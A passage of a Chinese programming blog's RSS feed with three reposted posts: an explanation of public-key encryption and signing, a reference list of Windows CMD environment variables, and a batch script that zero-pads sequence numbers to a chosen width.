            <p>非对称加密最初可能是为了解决密匙保管与交换难题. 非对称加密过程中用一个密匙加密只能用另一个密匙解密. 由此解决了密匙交换难题: 公匙随意发放; 保管也大为简化: 保护好私匙就可以了. PKI 之所以成为或 "称为" 体系, 是包括了实施中所必需的公匙管理: 认证, 发放, 收回, 查询等.<br><br>现在看加密过程. 以加密邮件为例. Alice 发加密邮件给 Bob.<br>1a. Alice 从 Bob那里或从PKI服务器得到 Bob的公匙<br>2a. Alice 用 Bob的公匙加密邮件, 发送给 Bob<br>3a. Bob 受到加密邮件, 用自己的私匙解密.<br>其他人如果截获加密邮件, 由于没有 Bob的私匙, 无法解密邮件.<br><br>签名过程则是非对称加密的另一用法<br>1b. Alice 在用 Bob的公匙加密邮件前先对邮件产生摘要Ha.<br>2b. Alice 用自己的私匙加密邮件摘要, 连同加密邮件(2a)发送给 Bob<br>3b. Bob 将加密邮件摘要用Alice的公匙解密得到解密的邮件摘要Ha. (公匙可以从 Aliceb那里或从PKI服务器得到), 并用自己的私匙解密邮件(3a).<br>4b. Bob 对解密的邮件产生摘要Hb, 与(3b)解密的邮件摘要Ha比较.<br>如果无误, 则可确认: 1) 该邮件由Alice 发出, 因为只有Alice 有自己的私匙; 2)邮件在传递过程中未遭篡改, 因为邮件摘要比较结果一致.<br>另外, 因为只有Alice 有自己的私匙, Alice 无法否认该邮件由自己发出.<br><br>如果 PKI Service Provider 用 RootCA 对 Alice 的公匙做签名操作, 由于RootCA的公匙可以公开获得, 对 Alice 的公匙进行核实(4b)即可确认该公匙为 Alice 所有. 在解密的邮件中看到对方的证书信息是因为对方对邮件不但加密并且签名, 对方的公匙已经含有有关信息. 既是签名, 当然要你看到才对.<br><br>总结:<br>用对方的公匙加密, 用自己的私匙解密<br>用自己的私匙签名, 用对方的公匙核实 <br></p>
            <p>&#160;</p>
            <p>转自：<a href="http://wpmsn.spaces.live.com/blog/cns!C0776A11EB428FDA!333.entry?wa=wsignin1.0&amp;sa=683191712">http://wpmsn.spaces.live.com/blog/cns!C0776A11EB428FDA!333.entry?wa=wsignin1.0&amp;sa=683191712</a></p>
            <p>&#160;</p>
            <p>&#160;</p>
            </div>
            </td>
        </tr>
    </tbody>
</table>
</div>
<img src ="http://www.cppblog.com/flyinghare/aggbug/123605.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2010-08-16 15:49 <a href="http://www.cppblog.com/flyinghare/archive/2010/08/16/123605.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Windows批处理环境变量大全</title><link>http://www.cppblog.com/flyinghare/archive/2010/07/21/120979.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Wed, 21 Jul 2010 10:47:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2010/07/21/120979.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/120979.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2010/07/21/120979.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/120979.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/120979.html</trackback:ping><description><![CDATA[<span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#333333" style="line-height: normal; ">看CMD环境变量的方法是执行set命令，下面是Windows XP执行后的变量列表：<br style="line-height: normal; "><br style="line-height: normal; ">ALLUSERSPROFILE=C:\Documents and Settings\All Users<br style="line-height: normal; ">APPDATA=C:\Documents and Settings\用户名\Application Data<br style="line-height: normal; ">CLIENTNAME=Console<br style="line-height: normal; ">CommonProgramFiles=C:\Program Files\Common Files<br style="line-height: normal; ">COMPUTERNAME=网络上显示的计算机名<br style="line-height: normal; ">ComSpec=C:\WINDOWS\system32\cmd.exe<br style="line-height: normal; ">FP_NO_HOST_CHECK=NO<br style="line-height: normal; ">HOMEDRIVE=C:<br style="line-height: normal; ">HOMEPATH=\Documents and Settings\用户名<br style="line-height: normal; ">LOGONSERVER=\\网络上显示的计算机名<br style="line-height: normal; ">NUMBER_OF_PROCESSORS=2<br style="line-height: normal; ">OS=Windows_NT<br style="line-height: normal; ">Path=C:\Program Files\PC Connectivity Solution\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem<br style="line-height: normal; ">PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH<br style="line-height: normal; ">PROCESSOR_ARCHITECTURE=x86<br style="line-height: normal; ">PROCESSOR_IDENTIFIER=x86 Family 15 Model 6 Stepping 5, GenuineIntel<br style="line-height: normal; ">PROCESSOR_LEVEL=15<br style="line-height: normal; ">PROCESSOR_REVISION=0605<br style="line-height: normal; ">ProgramFiles=C:\Program Files<br style="line-height: normal; ">PROMPT=$P$G<br style="line-height: normal; ">SESSIONNAME=Console<br style="line-height: normal; ">SystemDrive=C:<br style="line-height: normal; ">SystemRoot=C:\WINDOWS<br style="line-height: normal; ">TEMP=C:\DOCUME~1\用户名\LOCALS~1\Temp<br style="line-height: normal; ">TMP=C:\DOCUME~1\用户名\LOCALS~1\Temp<br style="line-height: normal; ">USERDOMAIN=网络上显示的计算机名<br style="line-height: normal; ">USERNAME=用户名<br style="line-height: normal; ">USERPROFILE=C:\Documents and Settings\用户名<br style="line-height: normal; ">windir=C:\WINDOWS<br style="line-height: normal; "><br style="line-height: normal; "><font color="#33cccc" style="line-height: normal; ">■</font></font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#33cccc" style="line-height: normal; ">■</font></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><br style="line-height: normal; "></span><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#333333" style="line-height: normal; "><br style="line-height: normal; ">windows 系统变量大全<br style="line-height: normal; ">%ALLUSERSPROFILE% ： 列出所有用户Profile文件位置。<br style="line-height: normal; ">%APPDATA% :&nbsp;&nbsp; 列出应用程序数据的默认存放位置。<br style="line-height: normal; ">%CD% :&nbsp;&nbsp; 列出当前目录。<br style="line-height: normal; ">%CLIENTNAME% :&nbsp;&nbsp; 列出联接到终端服务会话时客户端的NETBIOS名。<br style="line-height: normal; ">%CMDCMDLINE% :&nbsp;&nbsp; 列出启动当前cmd.exe所使用的命令行。<br style="line-height: normal; ">%CMDEXTVERSION% :&nbsp;&nbsp; 命令出当前命令处理程序扩展版本号。<br style="line-height: normal; ">%CommonProgramFiles% :&nbsp;&nbsp; 列出了常用文件的文件夹路径。<br style="line-height: normal; ">%COMPUTERNAME% :&nbsp;&nbsp; 列出了计算机名。&nbsp;<br style="line-height: normal; ">%COMSPEC% :&nbsp;&nbsp; 列出了可执行命令外壳（命令处理程序）的路径。<br style="line-height: normal; ">%DATE% :&nbsp;&nbsp; 列出当前日期。<br style="line-height: normal; ">%ERRORLEVEL% :&nbsp;&nbsp; 列出了最近使用的命令的错误代码。<br style="line-height: normal; ">%HOMEDRIVE% :&nbsp;&nbsp; 列出与用户主目录所在的驱动器盘符。<br style="line-height: normal; ">%HOMEPATH% :&nbsp;&nbsp; 列出用户主目录的完整路径。<br style="line-height: normal; ">%HOMESHARE% :&nbsp;&nbsp; 列出用户共享主目录的网络路径。<br style="line-height: normal; ">%LOGONSEVER% :&nbsp;&nbsp; 列出有效的当前登录会话的域名控制器名。<br style="line-height: normal; ">%NUMBER_OF_PROCESSORS% :&nbsp;&nbsp; 列出了计算机安装的处理器数。<br style="line-height: normal; ">%OS% :&nbsp;&nbsp; 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.)<br style="line-height: normal; ">%Path% :&nbsp;&nbsp; 列出了可执行文件的搜索路径。<br style="line-height: normal; ">%PATHEXT% :&nbsp;&nbsp; 列出操作系统认为可被执行的文件扩展名。&nbsp;<br style="line-height: normal; ">%PROCESSOR_ARCHITECTURE% :&nbsp;&nbsp; 列出了处理器的芯片架构。<br style="line-height: normal; ">%PROCESSOR_IDENTFIER% :&nbsp;&nbsp; 列出了处理器的描述。<br style="line-height: normal; ">%PROCESSOR_LEVEL% :&nbsp;&nbsp; 列出了计算机的处理器的型号。&nbsp;<br style="line-height: normal; ">%PROCESSOR_REVISION% :&nbsp;&nbsp; 列出了处理器的修订号。<br style="line-height: normal; ">%ProgramFiles% :&nbsp;&nbsp; 列出了Program Files文件夹的路径。<br style="line-height: normal; ">%PROMPT% :&nbsp;&nbsp; 列出了当前命令解释器的命令提示设置。<br style="line-height: normal; ">%RANDOM% :&nbsp;&nbsp; 列出界于0 和 32767之间的随机十进制数。<br style="line-height: normal; ">%SESSIONNAME% :&nbsp;&nbsp; 列出连接到终端服务会话时的连接和会话名。<br style="line-height: normal; ">%SYSTEMDRIVE% :&nbsp;&nbsp; 列出了Windows启动目录所在驱动器。<br style="line-height: normal; ">%SYSTEMROOT% :&nbsp;&nbsp; 列出了Windows启动目录的位置。<br style="line-height: normal; ">%TEMP% and %TMP% :&nbsp;&nbsp; 列出了当前登录的用户可用应用程序的默认临时目录。<br style="line-height: normal; ">%TIME% :&nbsp;&nbsp; 列出当前时间。<br style="line-height: normal; ">%USERDOMAIN% :&nbsp;&nbsp; 列出了包含用户帐号的域的名字。<br style="line-height: normal; ">%USERNAME% :&nbsp;&nbsp; 列出当前登录的用户的名字。<br style="line-height: normal; ">%USERPROFILE% :&nbsp;&nbsp; 列出当前用户Profile文件位置。<br style="line-height: normal; ">%WINDIR% :&nbsp;&nbsp; 列出操作系统目录的位置。&nbsp;<br style="line-height: normal; ">&nbsp;&nbsp;<br style="line-height: normal; ">变量 类型 描述&nbsp;<br style="line-height: normal; ">%ALLUSERSPROFILE% 本地 返回&#8220;所有用户&#8221;配置文件的位置。&nbsp;<br style="line-height: normal; ">%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。&nbsp;<br style="line-height: normal; ">%CD% 本地 返回当前目录字符串。&nbsp;<br style="line-height: normal; ">%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。&nbsp;<br style="line-height: normal; ">%CMDEXTVERSION% 系统 返回当前的&#8220;命令处理程序扩展&#8221;的版本号。&nbsp;<br style="line-height: normal; ">%COMPUTERNAME%&nbsp;&nbsp; 系统 返回计算机的名称。&nbsp;<br style="line-height: normal; ">%COMSPEC%&nbsp;&nbsp; 系统 返回命令行解释器可执行程序的准确路径。&nbsp;<br style="line-height: normal; ">%DATE%&nbsp;&nbsp; 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息，请参阅 Date。&nbsp;<br style="line-height: normal; ">%ERRORLEVEL%&nbsp;&nbsp; 系统 返回上一条命令的错误代码。通常用非零值表示错误。&nbsp;<br style="line-height: normal; ">%HOMEDRIVE%&nbsp;&nbsp; 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在&#8220;本地用户和组&#8221;中指定的。&nbsp;<br style="line-height: normal; ">%HOMEPATH%&nbsp;&nbsp; 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在&#8220;本地用户和组&#8221;中指定的。&nbsp;<br style="line-height: normal; ">%HOMESHARE%&nbsp;&nbsp; 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在&#8220;本地用户和组&#8221;中指定的。&nbsp;<br style="line-height: normal; ">%LOGONSERVER%&nbsp;&nbsp; 本地 返回验证当前登录会话的域控制器的名称。&nbsp;<br style="line-height: normal; ">%NUMBER_OF_PROCESSORS%&nbsp;&nbsp; 系统 指定安装在计算机上的处理器的数目。&nbsp;<br style="line-height: normal; ">%OS%&nbsp;&nbsp; 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。&nbsp;<br style="line-height: normal; ">%PATH% 系统 指定可执行文件的搜索路径。&nbsp;<br style="line-height: normal; ">%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。&nbsp;<br style="line-height: normal; ">%PROCESSOR_ARCHITECTURE%&nbsp;&nbsp; 系统 返回处理器的芯片体系结构。值：x86 或 IA64（基于 Itanium）。&nbsp;<br style="line-height: normal; ">%PROCESSOR_IDENTFIER% 系统 返回处理器说明。&nbsp;<br style="line-height: normal; ">%PROCESSOR_LEVEL%&nbsp;&nbsp; 系统 返回计算机上安装的处理器的型号。&nbsp;<br style="line-height: normal; ">%PROCESSOR_REVISION% 系统 返回处理器的版本号。&nbsp;<br style="line-height: normal; ">%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。&nbsp;<br style="line-height: normal; ">%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。&nbsp;<br style="line-height: normal; ">%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录（即系统根目录）的驱动器。&nbsp;<br style="line-height: normal; ">%SYSTEMROOT%&nbsp;&nbsp; 系统 返回 Windows server operating system 根目录的位置。&nbsp;<br style="line-height: normal; ">%TEMP% 和 %TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP，而其他应用程序则需要 TMP。&nbsp;<br style="line-height: normal; ">%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息，请参阅 Time。&nbsp;<br style="line-height: normal; ">%USERDOMAIN% 本地 返回包含用户帐户的域的名称。&nbsp;<br style="line-height: normal; ">%USERNAME% 本地 返回当前登录的用户的名称。&nbsp;<br style="line-height: normal; ">%USERPROFILE% 本地 返回当前用户的配置文件的位置。&nbsp;<br style="line-height: normal; ">%WINDIR% 系统 返回操作系统目录的位置。<br style="line-height: normal; "><br style="line-height: normal; ">%allusersprofile%--------------------所有用户的profile路径<br style="line-height: normal; "><br style="line-height: normal; ">%Userprofile%-----------------------当前用户的配置文件目录<br style="line-height: normal; "><br style="line-height: normal; ">%Appdata%--------------------------当前用户的应用程序路径<br style="line-height: normal; "><br style="line-height: normal; ">%commonprogramfiles%-------------应用程序公用的文件路径<br style="line-height: normal; "><br style="line-height: normal; ">%homedrive%------------------------当前用户的主盘<br style="line-height: normal; "><br style="line-height: normal; ">%Homepath%------------------------当前用户的主目录<br style="line-height: normal; "><br style="line-height: normal; ">%programfiles%----------------------应用程序的默认安装目录<br style="line-height: normal; "><br style="line-height: normal; ">%systemdrive%----------------------系统所在的盘符<br style="line-height: normal; "><br style="line-height: normal; ">%systemroot%-----------------------系统所在的目录<br style="line-height: normal; "><br style="line-height: normal; ">%windir%----------------------------同上，总是跟systemroot一样<br style="line-height: normal; "><br style="line-height: normal; ">%tmp%------------------------------当前用户的临时目录<br style="line-height: normal; "><br style="line-height: normal; ">%temp%-----------------------------同上临时目录</font></span>

<div><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#333333" style="line-height: normal; "><br></font></span></div><div><span  style="color: rgb(51, 51, 51); font-family: Arial; font-size: 14px; line-height: 20px; -webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; "><font face="新宋体" size="4" color="#333333" style="line-height: normal; ">转自：</font></span><a href="http://hi.baidu.com/bigtoothcat/blog/item/2a6fba343169671990ef39a8.html">http://hi.baidu.com/bigtoothcat/blog/item/2a6fba343169671990ef39a8.html</a></div><img src ="http://www.cppblog.com/flyinghare/aggbug/120979.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2010-07-21 18:47 <a href="http://www.cppblog.com/flyinghare/archive/2010/07/21/120979.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理中开放性数字序号格式化补零的办法</title><link>http://www.cppblog.com/flyinghare/archive/2010/02/22/108255.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Mon, 22 Feb 2010 14:23:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2010/02/22/108255.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/108255.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2010/02/22/108255.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/108255.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/108255.html</trackback:ping><description><![CDATA[<p>摘自：<a href="http://www.verybat.org/viewthread.php?tid=20697">http://www.verybat.org/viewthread.php?tid=20697</a><br></p>
<h2>忽然灵机一动，想到一个开放性数字序号格式化补零的办法</h2>
<div id=postmessage_193234 class=t_msgfont>&#8220;术语&#8221;解释先~~~，因为是偶自创滴！！！（不知是因为知道的词汇太少，还是语文能力太好 @-P）<br>【数字序号格式化补零】：就是所有序号位数一样，不足的以0代替<br>网上常用的是类似的办法：如 if %test% LSS 100 set test=00%test%<br>这种办法的弊端是，没有灵活性，用户不能根据实际情况来自定义长度。<br>今天正在编一个批处理，要实现这个。当时隐约感觉有办法，发了一下呆，真的被我想到了！哥高兴，于是乎急不可耐（用词似乎又不准了~~）地想分享给同学们<br>
<div style="BORDER-BOTTOM: #cccccc 1px solid; BORDER-LEFT: #cccccc 1px solid; PADDING-BOTTOM: 4px; BACKGROUND-COLOR: #eeeeee; PADDING-LEFT: 4px; WIDTH: 98%; PADDING-RIGHT: 5px; FONT-SIZE: 13px; WORD-BREAK: break-all; BORDER-TOP: #cccccc 1px solid; BORDER-RIGHT: #cccccc 1px solid; PADDING-TOP: 4px"><span style="COLOR: #000000">::格式化数字序号&nbsp;演示<br>::</span><span style="COLOR: #000000">2010</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">01</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">21</span><span style="COLOR: #000000">：想到此算法<br>@echo&nbsp;off<br>:ks<br>cls<br>setlocal&nbsp;enabledelayedexpansion<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">p&nbsp;Digit</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">位数：<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">p&nbsp;d</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">测试数字：<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;StrPrefix</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"><br></span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">/</span><span style="COLOR: #000000">l&nbsp;%%i&nbsp;in&nbsp;(</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,!Digit!)&nbsp;</span><span style="COLOR: #0000ff">do</span><span style="COLOR: #000000">&nbsp;(<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;StrPrefix</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">!StrPrefix!</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000"><br>)<br>echo.<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;d</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">!StrPrefix!!d!<br></span><span style="COLOR: #0000ff">set</span><span style="COLOR: #000000">&nbsp;d</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">!d:~</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">%Digit%!<br>echo&nbsp;参照长度：!StrPrefix!<br>echo&nbsp;截取结果：!d!<br>pause<br></span><span style="COLOR: #0000ff">goto</span><span style="COLOR: #000000">&nbsp;ks</span></div>
<br>【补充】<br>在排序前，也许不知道文件总数是几位数，只知道大概，比如输入位数是2，而实际文件数有110（3位数），这时就会出问题了，所以必须在计数循环中加入以下代码（其中Num表示计数变量，tempNum即是经过处理后的序号）。如此处理，若超出设定位数，就不参与补零格式化：<br>
